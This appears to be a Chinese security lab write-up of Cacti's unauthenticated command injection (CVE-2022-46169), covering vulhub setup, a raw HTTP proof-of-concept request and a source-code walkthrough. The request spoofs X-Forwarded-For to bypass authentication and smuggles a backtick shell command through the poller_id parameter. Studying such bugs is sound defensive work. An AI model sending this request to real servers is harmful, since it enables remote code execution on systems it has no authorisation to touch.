Cacti 前台命令注入漏洞(CVE-2022-46169)
一、漏洞简述
Cacti 是一个开源平台,为用户提供了一个强大且可扩展的操作监控和故障管理框架。在受影响的版本中,如果为任何受监控设备选择了特定数据源,则命令注入漏洞允许未经身份验证的用户在运行 Cacti 的服务器上执行任意代码。
二、环境搭建
- vulhub基于linux系统部署漏洞环境
- burpsuite抓包工具
步骤A
在 vulhub 中拉取 CVE-2022-46169 镜像
cd vulhub-master/Cacti/CVE-2022-46169/
docker-compose up -d
步骤B
访问http://ip:port即可,如下图
账户密码都是admin,然后直接next点击默认安装即可,进去如下图
漏洞环境搭建工作完成
三、POC
GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: 192.168.20.150:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
四、漏洞原理分析
漏洞整体分为两部分是登录绕过与命令注入
身份绕过:
我们来到这一页,很显然易见的发现的一点,用户传过来的所有信息是用户可操控的(指的是可以通过改包来操控)这个文件就到这里,其实最多是集中在remote_agent.php这个文件中,我们进去看一下,首先发现有多php资源的加载和获取
这里有一个认证身份的代码块,跟进函数看一下
通过构造X-Forwarded-For:127.0.0.1 让下面循环break2跳出的时候 client_addr为127.0.0.1
$pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id); //sql语句,进行从poller表中获取所有的$pollers
到了这句我们发现执行了个sql查询,我在本地sql服务查了这个表之后
再往下看就是一个判断,大致是对ip进行身份验证,然后进行返回,其实很容易看出来是在验证是否为本地ip地址
$client_name = gethostbyaddr($client_addr);
身份鉴权绕过大致是这样
命令注入:
我们再回到原来的位置,继续向下,这里有一个set_default_action();
我们可以进去看一下执行了什么
这里通过get_request_var可控参数action传值polldata进入到poll_for_data()
我们跟进去看一下,接下来重头戏来了,首先我们可以看到参数的获取,他们是从get_filter_request_var()函数获取,我们可以看一下发现几乎没有任何过滤,就是从请求拿信息,这也对照了POC里面三个参数的来源
继续往下看
不难发现会根据 $host_id 和 $local_data_ids会被作为sql查询的标准来从poller_item这个表里面找信息,然后存到数组 $items,本地查了一下,这里刚好发现里面有action这个参数,猜测可能要获取action的值
接下来会进入一个switch...case
,这里会用action的值进行选择,这里显然易见发现一个命令执行,这里是在$poller_id
这里进行命令注入。
$cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);